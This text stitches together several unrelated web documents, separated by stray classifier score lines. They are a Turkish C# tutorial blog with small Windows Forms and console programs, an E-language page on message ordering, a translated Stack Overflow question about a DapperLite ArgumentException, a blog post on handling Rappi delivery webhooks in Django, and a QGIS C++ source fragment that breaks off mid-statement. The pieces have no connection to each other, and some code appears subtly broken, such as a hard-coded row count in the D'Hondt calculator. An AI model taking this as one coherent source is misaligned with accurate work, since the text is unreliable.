== bulunacakKelime.Length) { btnHarfGir.Enabled = false; MessageBox.Show("Oyun Bitti. Kazandınız. Yeni Oyun için yeni  kelime giriniz.", "Bilgi", MessageBoxButtons.OK, MessageBoxIcon.Information); } txtHarf.Text = ""; txtHarf.Focus(); } } } UYGULAMAYI İNDİR 7 Nisan 2016 Perşembe C Sharp Sınıf Örnekleri - C Sharp Sınıf Oluşturma - C Sharp Sayıları Sınıflandırma : Negatif - Pozitif - Sıfır Uygulamasını İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Uygulamalar İki Tam Sayı Arasındaki Tek Sayıları Bulan Konsol Programı İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Uygulamalar İki Tam Sayı Arasındaki Çift Sayılar Bulma Uygulamasını İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Asal Sayı - C Sharp Asal Sayı Bulma Programı İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Konsol Mükemmel Sayı Kontrolü Yapan Program - Mükemmel Sayı Bulma Örnekleri KONU : C Sharp ( C# ) Konsol uygulamalar girilen bir sayının mükemmel sayı olup olmadığını bulma, c sharp konsoldan ekrana girilen sayıların kendisinden küçük bölenlerini bulma, c sharp konsoldan girilen sayıların kendisinden küçük bölenlerinin toplamını bulma C Sharp konsol jenerik int tipinde liste oluşturma, c sharp konsol for döngü örnekleri, c sharp konsol if örnekleri, c sharp toplam hesaplama örnekleri UYGULAMAYI İNDİR using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace C_Sharp_Konsol_Mükemmel_Sayı_Bulma { class Program { static void Main(string[] args) { int girilen_sayi = 0; int toplam = 0; Console.Write("\n\n Mükemmel Sayı Bulma "); Console.Write("\n\n Bir Sayı Giriniz :\n\n Girilen Sayı : "); girilen_sayi = int.Parse(Console.ReadLine()); List< int > bölenler = new List< int >(); bölenler.Clear(); for (int i = 1; i < girilen_sayi; i++) { if (girilen_sayi % i == 0) { bölenler.Add(i); } } for (int i = 0; i < bölenler.Count; i++) { toplam += bölenler[i]; } if (toplam == girilen_sayi) { Console.WriteLine("\n\nGirilen {0} sayısı Mükemmel sayıdır.", girilen_sayi); } else { Console.WriteLine("\n\nGirilen {0} sayısı Mükemmel sayı değildir.", girilen_sayi); } Console.ReadKey(); } } } UYGULAMAYI İNDİR C Sharp Konsol Mükemmel Sayı Kontrolü Yapan Program - Mükemmel Sayı Bulma Örnekleri İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar C Sharp Konsol Uygulamalar İçi Dolu Üçgen Çizme - Konsolda Yıldız ile Üçgen Çizme İndir UYGULAMAYI İNDİR ŞİFRE : c-sharp-uygulamalar 26 Mart 2016 Cumartesi C Sharp Form Uygulamalar D'Hondt Sistemi Kullanarak Oy Hesaplama İşlemleri KONU : C Sharp Uygulamalar - C Sharp ( C# ) form uygulamasında oy hesaplama programı hazırlama. D'Hondt sistemi kullanarak oy hesaplama programı hazırlama. Hangi partinin kaç milletvekili çıkardığını hesaplama ve liste biçiminde oyları listeleme. D'Hondt metodunu kullanarak oylara göre milletvekili sayısını hesaplama. ETİKETLER: c sharp oy hesaplama - c sharp D'Hondt sistemi - c sharp oy - c sharp milletvekili - c sharp hesaplama - c sharp listbox - c sharp groupbox - c sharp milletvekili sayısı hesaplama - c sharp D'Hondt yöntemi - c sharp D'Hondt method - c sharp D'Hondt metodu UYGULAMAYI İNDİR using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace C_Sharp_Form_Oy_Hesaplama { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { } int a, b, c, mvekilisayi; void temizle() { txtPartiA.Clear(); txtPartiB.Clear(); txtPartiC.Clear(); txtMilletvekiliSayisi.Clear(); } List< Parti > partiler = new List< Parti >(); void hesapla() { partiler.Clear(); mvekilisayi = Convert.ToInt32(txtMilletvekiliSayisi.Text); List< int > oylar = new List< int >(); oylar.Add(Convert.ToInt32(txtPartiA.Text)); oylar.Add(Convert.ToInt32(txtPartiB.Text)); oylar.Add(Convert.ToInt32(txtPartiC.Text)); Parti parti; for (int i = 0; i < 3; i++) { parti = new Parti(); parti.MilletvekiliSayisi = 0; parti.Bolen = 1; parti.ToplamOy = oylar[i]; partiler.Add(parti); } string data = String.Format("{0,-50}", ""); for (int i = 0; i < partiler.Count; i++) { string temp = (i+1).ToString() + ". Parti"; data += String.Format("{0,-15}", temp); } listBox.Items.Add(data); data = String.Format("{0,-38}", "Oy"); for (int i = 0; i < partiler.Count; i++) { data += String.Format("{0,14}", partiler[i].ToplamOy); } listBox.Items.Add(data); while (mvekilisayi-- != 0) { parti = partiler[0]; for (int i = 1; i < partiler.Count; i++) { if (partiler[i].ToplamOy / partiler[i].Bolen > parti.ToplamOy / parti.Bolen) { parti = partiler[i]; } } data = String.Format("{0,-36}", (7-mvekilisayi).ToString() + ".milletvekili"); for (int i = 0; i < partiler.Count; i++) { data += String.Format("{0,14}", partiler[i].HesaplanOy); } listBox.Items.Add(data); parti.MilletvekiliSayisi++; parti.Bolen++; } data = String.Format("{0,-34}", "Milletvekili Sayıları"); for (int i = 0; i < partiler.Count; i++) { data += String.Format("{0,14}", partiler[i].MilletvekiliSayisi.ToString("00000")); } listBox.Items.Add(data); } private void btnHesapla_Click(object sender, EventArgs e) { listBox.Items.Clear(); hesapla(); } } class Parti { public Parti() { } private int hesaplananOy ; private int bolen; private int milletvekiliSayisi; private int toplamOy; public int Bolen { get { return bolen; } set { bolen = value; } } public int MilletvekiliSayisi { get { return milletvekiliSayisi; } set { milletvekiliSayisi = value; } } public int ToplamOy { get { return toplamOy; } set { toplamOy = value; } } public int HesaplanOy { get { return toplamOy / bolen; } } } } UYGULAMAYI İNDİR 22 Mart 2016 Salı C Sharp Sos Oyunu 5x5 Rastgele Otomatik Doldurma using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace C_Sharp_Sos_5x5 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } Random rastgele = null; int satır_sayısı = 5; int sütun_sayısı = 5; TextBox[,] alanlar; private void Form1_Load(object sender, EventArgs e) { rastgele = new Random(); alanlar = new TextBox[satır_sayısı, sütun_sayısı]; for (int i = 0; i < satır_sayısı; i++) { for (int j = 0; j < sütun_sayısı; j++) { TextBox yenitextBox = new TextBox(); yenitextBox.Location = new System.Drawing.Point(50 + j * 25, i * 25 + 50); yenitextBox.Name = i + " * " + j; yenitextBox.Size = new System.Drawing.Size(20, 20); yenitextBox.TabIndex = 1; yenitextBox.BorderStyle = BorderStyle.FixedSingle; yenitextBox.KeyUp += new KeyEventHandler(yenitextBox_KeyUp); this.Controls.Add(yenitextBox); alanlar[i, j] = yenitextBox; } } } void yenitextBox_KeyUp(object sender, KeyEventArgs e) { (sender as TextBox).Text = (sender as TextBox).Text.ToUpper(); if ((sender as TextBox).Text.Length > 1) (sender as TextBox).Text = (sender as TextBox).Text.Substring(0,1); else { bool oyunbitti = false; oyunbitti = SosOlanlariBoya(oyunbitti); } } private bool SosOlanlariBoya(bool oyunbitti) { for (int i = 0; i < satır_sayısı; i++) { for (int j = 0; j < sütun_sayısı; j++) { if (alanlar[i, j].Text.ToUpper() == "S") { try { if (alanlar[i, j + 1].Text.ToUpper() == "O" && alanlar[i, j + 2].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i, j + 1].BackColor = Color.Lime; alanlar[i, j + 2].BackColor = Color.Lime; } } catch (Exception) { } try { if (alanlar[i + 1, j + 1].Text.ToUpper() == "O" && alanlar[i + 2, j + 2].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i + 1, j + 1].BackColor = Color.Lime; alanlar[i + 2, j + 2].BackColor = Color.Lime; } } catch (Exception) { } try { if (alanlar[i + 1, j].Text.ToUpper() == "O" && alanlar[i + 2, j].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i + 1, j].BackColor = Color.Lime; alanlar[i + 2, j].BackColor = Color.Lime; } } catch (Exception) { } try { if (alanlar[i + 1, j - 1].Text.ToUpper() == "O" && alanlar[i + 2, j - 2].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i + 1, j - 1].BackColor = Color.Lime; alanlar[i + 2, j - 2].BackColor = Color.Lime; } } catch (Exception) { } } } } return oyunbitti; } private void btnYeniOyun_Click(object sender, EventArgs e) { for (int i = 0; i < satır_sayısı; i++) { for (int j = 0; j < sütun_sayısı; j++) { alanlar[i, j].Text = ""; alanlar[i, j].BackColor = Color.LightGray; if (rastgele.Next(2) == 0) { alanlar[i, j].Text = "S"; } else { alanlar[i, j].Text = "O"; } } } SosOlanlariBoya(false); } } } 21 Mart 2016 Pazartesi C Sharp Sos Oyunu 5x5 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace C_Sharp_Sos_5x5 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } int satır_sayısı = 5; int sütun_sayısı = 5; TextBox[,] alanlar; private void Form1_Load(object sender, EventArgs e) { alanlar = new TextBox[satır_sayısı, sütun_sayısı]; for (int i = 0; i < satır_sayısı; i++) { for (int j = 0; j < sütun_sayısı; j++) { TextBox yenitextBox = new TextBox(); yenitextBox.Location = new System.Drawing.Point(50 + j * 25, i * 25 + 50); yenitextBox.Name = i + " * " + j; yenitextBox.Size = new System.Drawing.Size(20, 20); yenitextBox.TabIndex = 1; yenitextBox.BorderStyle = BorderStyle.FixedSingle; yenitextBox.KeyUp += new KeyEventHandler(yenitextBox_KeyUp); this.Controls.Add(yenitextBox); alanlar[i, j] = yenitextBox; } } } void yenitextBox_KeyUp(object sender, KeyEventArgs e) { (sender as TextBox).Text = (sender as TextBox).Text.ToUpper(); if ((sender as TextBox).Text.Length > 1) (sender as TextBox).Text = (sender as TextBox).Text.Substring(0,1); else { bool oyunbitti = false; try { for (int i = 0; i < satır_sayısı; i++) { for (int j = 0; j < sütun_sayısı; j++) { if (!oyunbitti && alanlar[i, j].Text.ToUpper() == "S") { if (alanlar[i, j + 1].Text.ToUpper() == "O" && alanlar[i, j + 2].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i, j + 1].BackColor = Color.Lime; alanlar[i, j + 2].BackColor = Color.Lime; } else if (alanlar[i + 1, j + 1].Text.ToUpper() == "O" && alanlar[i + 2, j + 2].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i + 1, j + 1].BackColor = Color.Lime; alanlar[i + 2, j + 2].BackColor = Color.Lime; } else if (alanlar[i + 1, j].Text.ToUpper() == "O" && alanlar[i + 2, j].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i + 1, j].BackColor = Color.Lime; alanlar[i + 2, j].BackColor = Color.Lime; } else if (alanlar[i + 1, j - 1].Text.ToUpper() == "O" && alanlar[i + 2, j - 2].Text.ToUpper() == "S") { oyunbitti = true; alanlar[i, j].BackColor = Color.Lime; alanlar[i + 1, j - 1].BackColor = Color.Lime; alanlar[i + 2, j - 2].BackColor = Color.Lime; } } } } } catch (Exception) { } } } private void btnYeniOyun_Click(object sender, EventArgs e) { for (int i = 0; i < satır_sayısı; i++) { for (int j = 0; j < sütun_sayısı; j++) { alanlar[i, j].Text = ""; } } } } } 19 Mart 2016 Cumartesi C Sharp Form Uygulamalar Double Bir Sayıyı 8 Byte Dataya Dönüştürme 64 bit Long Dataya Dönüştürme KONU : C Sharp ( C# ) Form Uygulamalar double tipinde girilen bir sayıyı 64 bit long tipine çevirme, double sayıyı 8 byte data olarak parçalara ayırma, 8 byte olarak verilen bir sayıyı double tipine çevirme, 64 bitlik double sayısını 64 bit long dataya dönüştürme ve 64 bitlik long datayı tekrar double tipine dönüştürme. UYGULAMAYI İNDİR using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace C_Sharp_Dobule_To_64Bits_64Bits_To_Double { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { //Orijinal olarak bir double değer yazalım. double doubleValue = 154156.11658785; //Double Değeri ekrana yazdıralım lblDouble.Text = doubleValue.ToString(); //Double değeri long 64 bit değere çevirme, bu işlem için bitconveter sınıfı kullanılır long longValue = 0; longValue = BitConverter.DoubleToInt64Bits(doubleValue); //Dönüştürülen 64 bit Değeri ekrana yazdıralım lbl64BitLong.Text = longValue.ToString(); //64 bitlik datayı 8 bitlik byte data olarak ekrana yazdıralım byte[] bytes = new byte[8]; for (int i = 0; i < bytes.Length; i++) { bytes[i] = (byte)((longValue >> (8 * i)) & 0xFF); } for (int i = 0; i < bytes.Length; i++) { lblBytes.Text += string.Format("{0:X2} ",bytes[i]); } //64 bit long değeri tekrar dobule değer dönüştürme double createdNumber = BitConverter.ToDouble(bytes, 0); // Tekrar oluşturulan double değeri ekran yazdıralım lblNewDouble.Text = createdNumber.ToString(); } } } UYGULAMAYI İNDİR
__label__pos
0.988074
Walnut/Distributed Computing/Partial Ordering Of Sent Messages From Erights Jump to: navigation, search Partial Ordering Of Sent Messages The above example moves the carRcvr around repeatedly and then asks for the amount of fuel remaining. This displays another important property of eventual sends: if object A sends several messages via a single reference to object B, it is guaranteed that those messages will arrive and be processed in the order of sending. This is only a partial ordering, however. From B's point of view, there are no guarantees that the messages from A will not be interspersed with messages from C, D, etc. Also, from A's point of view, there are no guarantees that, if A sends messages to both B and C, the message to B will arrive before (or after) the message to C, regardless of the order in which A initiates the messages. Furthermore, if A happens to have 2 different references to B (such as 2 promises that both will eventually resolve to B), the guarantee only applies to messages being sent down one reference. Despite those uncertainties, however, in the example the partial ordering is sufficient to guarantee that fuelPromise will resolve to the quantity of fuel remaining after all three of the moveTo() operations have occurred. It also guarantees that those moveTo()s will have been performed in the specified sequence. On first introduction, it is hard to fully appreciate the relationship between partial ordering and when-catch delayed activation. Here is a more sophisticated example. # E syntax def cars := [car1,car2,car3] for each in cars { def nameVow := each <- getName() def moveVow := each <- moveTo(3,4) when (nameVow, moveVow) -> { println(`Car $nameVow has arrived`) } catch e {println("A car did not make it")} } println ("Cars have been told to move, but no print of any arrivals has yet occurred") In this example, getName and moveTo messages are sent to all the cars in the list in rapid-fire succession, never waiting for any answers to get back. The "Cars have been told to move" message at the bottom is guaranteed to print before any "has arrived" messages print. We cannot predict which of the 3 cars will arrive first, second, or third. It all depends on where they are running, how slow the connections are, how loaded the processors are. We cannot even predict which will receive the moveTo message first: though the program is guaranteed to fire off the message to car1 first, the processor upon which car1 executes might be several thousand miles away across the Internet, across a dozen bottlenecked routers. And car2 could be running on a computer two feet away, a short hop down an Ethernet connection. In that case car2 would probably be first to receive its message, and be first to actually arrive, and be the first to return its resolution so the arrival message could print--all three of those events being independent, and the first car to do one is not necessarily the first car to do the next. Meanwhile, it is guaranteed that each car will get the getName message before it gets the moveTo message. It is not guaranteed that the nameVow will resolve to an answer before the moveVow has resolved, so you must use a multi-vow when-catch to use the name inside the when body with confidence. And if the moveTo promise is broken, which activates the catch clause, we do not know the resolution of the name--it could have fulfilled before the moveTo promise broke, or the name promise could be waiting (and on the verge of being broken or fulfilled) as well. We could use the E isBroken() function described later if we wanted to try to print the name of the car in the catch clause in those situations where the name was fulfilled though the moveTo was broken. Also it is worth noting that the moveTo method, when used in an eventual send, returns a promise even though the moveTo method is of type "void" (i.e., "does not return a value"). This promise, if fulfilled, will always become the uninteresting value of null...but as shown in this example, sometimes it is valuable to know that fulfillment has occurred, or that fulfillment has failed, even if you do not care what the fulfilled value may be. Sometimes you want to ensure that car1 arrives before car2, and car2 before car3. In a simple problem you could use nested when-catches, described later. In this example, where you don't necessarily know how many cars there are, you would use the recursive when-while pattern or the sendValve utility, both described at the end of the chapter. Personal tools more tools
__label__pos
0.830108
ArgumentException sur PropertyInfo.SetValue () dans .Net Compact .net c# compact-framework dapper dapper-lite Question J'utilise DapperLite , un port de Dapper , pour une utilisation dans Compact Framework. Je reçois une exception ArgumentException , aucune autre information dans la méthode ci-dessous à la ligne spécifiée du fichier SqlMapper.cs . Vraiment mal avec quoi chercher ensuite ou ce qui est réellement cassé. /// <summary> /// Populate a references type from an IDataRecord by matching column names to property names. /// </summary> private static void PopulateClass(object objectClass, IDataRecord reader) { Type theType = objectClass.GetType(); PropertyInfo[] p = theType.GetProperties(); // Only set properties which match column names in the result. foreach (string columnName in GetColumnNames(reader)) { string colName = columnName; object value = reader[colName]; PropertyInfo pi = p.FirstOrDefault(x => x.Name == colName); if (pi == null || value == DBNull.Value) continue; Type columnType = value.GetType(); Type actualType = Nullable.GetUnderlyingType(pi.PropertyType) ?? pi.PropertyType; // Check for a directly assignable type if (actualType == columnType || actualType == typeof(string) || actualType == typeof(int)) { // Error generated here pi.SetValue(objectClass, value, null); } else { value = actualType.GetMethod("Parse", new[] { typeof(string) }).Invoke(null, new[] { value }); pi.SetValue(objectClass, value, null); } } } Les valeurs à ce stade sont objectClass = Models.Employee et value=1 . Le colName , de plus haut dans la méthode, est Id qui est un int dans le modèle Employee . Modèle d'employé ajouté basé sur le commentaire: namespace BioPadPunchClock.Models { public class Employee { public int Id { get; set; } public int CDB_Employee_PK { get; set; } //Employee PK in the Central DB. If .null., new emp record on this timeclock needs to be pushed to the CDB. public string Name { get; set; } //public string FaceImage { get; set; } //path to Jpeg image 136x90 pixels .\NAND\pictures\ named as <pk>.jpg public DateTime? BirthDate { get; set; } public string Status { get; set; } //Full Time – Hourly, Inactive, Terminated, Part Time - Hourly public DateTime? LastPunch { get; set; } public string LastPunchDirection { get; set; } //IN or OUT public string PIN { get; set; } // 4 digit public int CardNum { get; set; } //HID Card Number public int CardFacCode { get; set; } //HID Card Facility Code public string FpTemplate { get; set; } //Fingerprint Template (registered fingerprint) public DateTime? LastUpdate { get; set; } //When this employee record was last sync’d to the CDB. This value will match exactly in the LDB and CDB after a successful sync. public int DayTotal { get; set; } // Minutes cumulative for the current day at time of last punch public int PayPeriodTotal { get; set; } //Minutes cumulative for the current pay period at time of last punch public string Department { get; set; } public string SSN { get; set; } public bool ShouldPromptDept { get; set; } //Prompt employee to choose department each time } } Autres conclusions ... Lorsque je regarde mon Model.Employee à ce stade, toutes les propriétés de la string indiquent Could not evaluate expression avec un point d’exclamation rouge. Est-ce un indice ou normal? Autres conclusions ... Je ne suis pas sûr que cela soit important ou pas, mais quand je passe en actualType == Int32 le code et inspecte les valeurs, je remarque que le type actualType == Int32 et le columnType==Int64 tandis que la value qu’il évalue est 1 . Je ne suis pas sûr que cela fasse une différence car il y a un actualType.Equals(typeof(int)) mais je pensais le mentionner. Réponse acceptée Nous avons compris cela sur GitHub avec le dernier élément d'information. Etant donné que columnType est Int64 pour la colonne Id , la modification du type de la colonne Id dans le modèle en Int64 ce problème. Sous licence: CC-BY-SA with attribution Non affilié à Stack Overflow Est-ce KB légal? Oui, apprenez pourquoi Sous licence: CC-BY-SA with attribution Non affilié à Stack Overflow Est-ce KB légal? Oui, apprenez pourquoi
__label__pos
0.752213
1 I have a stereo AUX to Jack adapter that can be plugged to an old cassette-based video recorder enter image description here Would I be able to digitize my video with this AUX to Jack adapter? I would run the casette on the video camera and use ffmpeg to get the Jack input. 3 The cable in the picture is an analogue cable, so it's getting an analogue signal from your camera. It's just a cable, so the signal at one end is exactly(ish) the same as the other. To digitise it you'll need a device to convert the analogue signal into digital code. There is a big range of these devices, from cheap USB dongles on ebay like this to broadcast standard boxes like this. The quality of hardware and software will vary, I'd hazard a guess that you'll mostly get what you pay for. When looking for a converter you have to make sure that it is converting from analogue to digital. No cable alone can do this, it needs some sort of processing. Basically if you find something that has analogue sockets on one end (like the red white and yellow plugs on your cable, you call them AUX, but they're more commonly called RCA connectors. Professional equipment may have BNC connectors instead) and a digital plug on the other (usb, firewire, thunderbolt, etc. – but probably not HDMI because you generally can't record HDMI without specialised equipment) that you can plug into a computer then you're good to go. Your Answer By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy Not the answer you're looking for?Browse other questions tagged or ask your own question.
__label__pos
0.797117
Architectural challenges on integrating Rappi latrova commited 2 months ago · architecture python design-patterns microservices django · I talked previously about some challenges I faced when we integrated ifood at Mimic. The truth is that it was not the first to be integrated, it was Rappi. If you don't remember, Mimic integrates with several food aggregators to provide the best customer experience at the lowest possible cost. So far we have integrations with Rappi, ifood, and Uber (besides other logistics integrations). Rappi had its own challenges and decisions that made the work easier to integrate, I believe it's worthy to share some concepts and strategies used to scale and deliver it fast. We were able to finish the whole integration in a month! Before jumping into the tech (aka fun) part, let's understand the flow: Rappi Flow The Rappi-order flow The customer orders through the app, the order is polled by a worker called fetcher, it forwards (through Kafka) to a microservice named Rappi Adapter which communicates with Rappi and accepts or rejects the order. The Rappi-delivery flow Once the order is accepted it starts being produced, then Rappi assigns a courier and then we start receiving events through webhooks. Such webhooks are received by our microservice and handled properly. This is the expected "happy status" flow of a successful delivery: 1. NOT_ASSIGNED (no courier assigned yet) 2. ASSIGNED (a courier is on the way to the kitchen - this payload contains courier data) 3. IN_STORE (the courier arrived to our kitchen) 4. IN_TRANSIT (the courier took the order) 5. AT_DESTINATION (the courier is waiting for the customer) 6. DELIVERED (done!) Surprise: Bundles! Sometimes 2 customers that live close to each other decide to order at the same time. When this happens, Rappi decides to optimize and get the same courier to deliver 2 orders. Unfortunately, there's no specific webhook to tell us that! The only way to discover is by asking the courier how many orders he needs to pick up OR estimating it. You can bet we decided to estimate that ourselves. If we don't estimate, we lose performance and prioritize poorly. Let's say we have the following orders in sequence: A, B, and C As you can see, order A and C are bundled and should be delivered by Bob! But B is a big order which takes longer to produce. If our kitchen is not aware of that, we're going to deliver a delicious burger to Bob from order A, and Bob will have to wait until they finish order B. Joe laughs at Bob as he leaves to deliver order B. In the meantime, items from order A are getting colder. That's a terrible experience for our customer. That's why we need to tell our kitchen: Cook orders A and C together!!! But how to find it out? We realized that whenever we receive a "Courier assignment" (with a unique courier id) event we can query our database to find out whether the courier has been assigned to any other order which has not been delivered yet. That's what great software is all about! The kitchen is happy without couriers complaining about the long wait. Couriers are happy because they can deliver the order faster. Customers are happy because they eat it fresh - yummy. Tech Cool, we know the business, it's time to code. This post will not encompass the details of fetcher because it's boring. It's just a damn Kubernetes pod polling from time to time orders from Rappi - and that's pretty much it! Here at Mimic, we use some boring stack to develop and deliver value as fast as possible. Basically, we use: Webhooks All webhooks incoming from Rappi are very similar: Example: 10/couriers/at_hub/ represents an update to order #10 ( 10 ) to say the courier arrived at the kitchen ( we frequently call it hub - at_hub ). Do you remember that we just need to update the order status in our database so we can let the kitchen know how to prioritize? Great, we use Django urls + views + serializers to make it with just a few lines. See urls: ALLOWED_METHODS_UPDATE_ORDER = {"patch": "update"} urlpatterns = [ path( "<str:aggregator_id>/couriers/assign/", views.CourierAssignEventView.as_view(ALLOWED_METHODS_UPDATE_ORDER), name="courier_assign", kwargs={"status": models.CourierStatus.ASSIGNED}, ), path( "<str:aggregator_id>/couriers/at_hub/", views.CourierStatusEventView.as_view(ALLOWED_METHODS_UPDATE_ORDER), name="courier_at_hub", kwargs={"status": models.CourierStatus.AT_HUB}, ), path( "<str:aggregator_id>/couriers/in_transit/", views.CourierStatusEventView.as_view(ALLOWED_METHODS_UPDATE_ORDER), name="courier_in_transit", kwargs={"status": models.CourierStatus.IN_TRANSIT}, ), path( "<str:aggregator_id>/couriers/at_destination/", views.CourierStatusEventView.as_view(ALLOWED_METHODS_UPDATE_ORDER), name="courier_at_destination", kwargs={"status": models.CourierStatus.AT_DESTINATION}, ), path( "<str:aggregator_id>/couriers/delivered/", views.CourierStatusEventView.as_view(ALLOWED_METHODS_UPDATE_ORDER), name="courier_delivered", kwargs={"status": models.CourierStatus.DELIVERED}, ), ] You may notice we pass a special argument "kwargs" which maps the status to an enum. Also, note how we reuse our views for most of the status! Let's take a look at how views work, they should be complex, right? class BaseOrderEventView(ABC, mixins.UpdateModelMixin, viewsets.GenericViewSet): authentication_classes = (authentication.RappiAuthentication,) permission_classes = (authentication.IsRappiAuthenticated,) queryset = Order.objects.all() lookup_field = "aggregator_id" @property @abstractmethod def status_property(self): pass def get_kwargs_context(self): return {self.status_property: self.kwargs.get("status")} def get_serializer(self, instance, data, **kwargs): updated_data = {**data, **self.get_kwargs_context()} return super().get_serializer(instance, data=updated_data, **kwargs) def update(self, request, *args, **kwargs): status = self.kwargs.get("status") logger.debug( f"Trying to partially update an order with payload: {self.request.data}" ) response = super().update(request, *args, **kwargs) logger.info( f"Successfully updated order #{self.kwargs.get(self.lookup_field)} " f" as {status}" ) return response class KitchenStatusEventView(BaseOrderEventView): """ API Handler for events related to the order """ serializer_class = KitchenStatusEventSerializer status_property = "kitchen_status" class CourierStatusEventView(BaseOrderEventView): """ API Handler for events related to the courier """ serializer_class = CourierStatusEventSerializer status_property = "courier_status" class CourierAssignEventView(CourierStatusEventView): """ API Handler specifically for courier assign event """ serializer_class = CourierAssignEventSerializer Note how we apply Open/Closed principles by extending the base behavior (update). We just need to specify which serializer_class to use and which status_property to update. The enums are extracted from the urls and passed down to serializers as extra args. If we wish to handle a new event related to kitchen status what we would do? You bet right, extend it and implement the new custom behavior in there! In case you don't remember, the Open/Closed principle states: Code should be open for extension, closed for modification Handling bundles without "if"s I know, I know. It's so freaking easy to add an if: courier_id = 8937 has_other_orders = find_other_orders(courier_id) if has_other_orders: create_bundle() Unfortunately, although easy, it wouldn't be as easy to scale. Let's say later on we want to reward couriers that deliver orders under 10 minutes with a delicious burger. If you go "the easy way", it means you're very likely repeating the formula: courier_id = 8937 has_other_orders = find_other_orders(courier_id) if has_other_orders: create_bundle(courier_id) is_worthy_burger = check_courier_is_worthy(courier_id) if is_worthy_burger: generate_bonus_order(courier_id) It does not just increases the complexity of software as it also breaks the Open/Closed principle we discussed before. We're going to use the Strategy pattern kindly named "Side Effects" to represent special events happening under specific conditions. The expected flow would be for a service (responsible for handling business logic) to generate instances named side effects, execute them and finally finish the transaction. The class/hierarchy is not complex, see: We have an abstract class, followed by 2 inheritances. You may think it's funny to have a NoSideEffect but it's just to ensure our service always have something to execute. After all, doing nothing is a decision as well. The context object in there is a simple dataclass that collects info that should answer: "what's going on?". Don't believe me? Take a look yourself: @dataclass class UpdateContext: """ Represents the update in progress """ order: Order transiting_to: str See? Simple! Now, let's see the "Create side effect" step: class SideEffectFactory: def create(self, orders: Iterable[Order], transiting_to: str): for order in orders: context = UpdateContext(order, transiting_to) if context.transiting_to == CourierStatus.IN_TRANSIT: yield side_effects.CourierInTransitSideEffect(context) if context.transiting_to == CourierStatus.ASSIGNED: yield side_effects.CourierAssignedSideEffect(context) yield side_effects.NoSideEffect(context) As you can see, anytime our service tries to update, it creates a side effect through a factory. This factory use generators because we don't want to limit ourselves with a transition producing only ONE side effect. Considering the courier reward scenario we mentioned earlier. We should be able to produce a bundle and reward the courier at the same time - two or N side effects per transition. So our OrderService.update  method is somewhat like this: def update(self, orders: Iterable[Order], to_status: str): side_effects = self.side_effect_factory.create(orders, to_status) self._execute_side_effects(side_effects) self._batch_update(orders) This is very powerful because we are very unlikely going to change this service again. If new business rules are added, we can always extend our strategies (or side_effects), appending a rule to our factory without modifying what already worked. That's gold! If you or your team had to handle all these API events. Would you do better/faster? If yes, then get in touch! I'm eager to hear. 😄 • LinkedIn • Tumblr • Reddit • Google+ • Pinterest • Pocket Be the first to know when I post cool stuff 🚀
__label__pos
0.788351
QGIS API Documentation 3.39.0-Master (e1bfad138f3) Loading... Searching... No Matches qgsmaplayermodel.cpp Go to the documentation of this file. 1/*************************************************************************** 2 qgsmaplayermodel.cpp 3 -------------------------------------- 4 Date : 01.04.2014 5 Copyright : (C) 2014 Denis Rouzaud 7*************************************************************************** 8* * 9* This program is free software; you can redistribute it and/or modify * 10* it under the terms of the GNU General Public License as published by * 11* the Free Software Foundation; either version 2 of the License, or * 12* (at your option) any later version. * 13* * 14***************************************************************************/ 15 16#include <QIcon> 17 18#include "qgsmaplayermodel.h" 19#include "qgsproject.h" 20#include "qgsvectorlayer.h" 21#include "qgsiconutils.h" 23#include <QMimeData> 24 25QgsMapLayerModel::QgsMapLayerModel( const QList<QgsMapLayer *> &layers, QObject *parent, QgsProject *project ) 26 : QAbstractItemModel( parent ) 27 , mProject( project ? project : QgsProject::instance() ) 28{ 29 connect( mProject, static_cast < void ( QgsProject::* )( const QStringList & ) >( &QgsProject::layersWillBeRemoved ), this, &QgsMapLayerModel::removeLayers ); 30 addLayers( layers ); 31} 32 34 : QAbstractItemModel( parent ) 35 , mProject( project ? project : QgsProject::instance() ) 36{ 38 connect( mProject, static_cast < void ( QgsProject::* )( const QStringList & ) >( &QgsProject::layersWillBeRemoved ), this, &QgsMapLayerModel::removeLayers ); 39 addLayers( mProject->mapLayers().values() ); 40} 41 43{ 44 45 // remove layers from previous project 46 if ( mProject ) 47 { 48 removeLayers( mProject->mapLayers().keys() ); 50 disconnect( mProject, static_cast < void ( QgsProject::* )( const QStringList & ) >( &QgsProject::layersWillBeRemoved ), this, &QgsMapLayerModel::removeLayers ); 51 } 52 53 mProject = project ? project : QgsProject::instance(); 54 56 connect( mProject, static_cast < void ( QgsProject::* )( const QStringList & ) >( &QgsProject::layersWillBeRemoved ), this, &QgsMapLayerModel::removeLayers ); 57 addLayers( mProject->mapLayers().values() ); 58} 59 60 62{ 63 mItemCheckable = 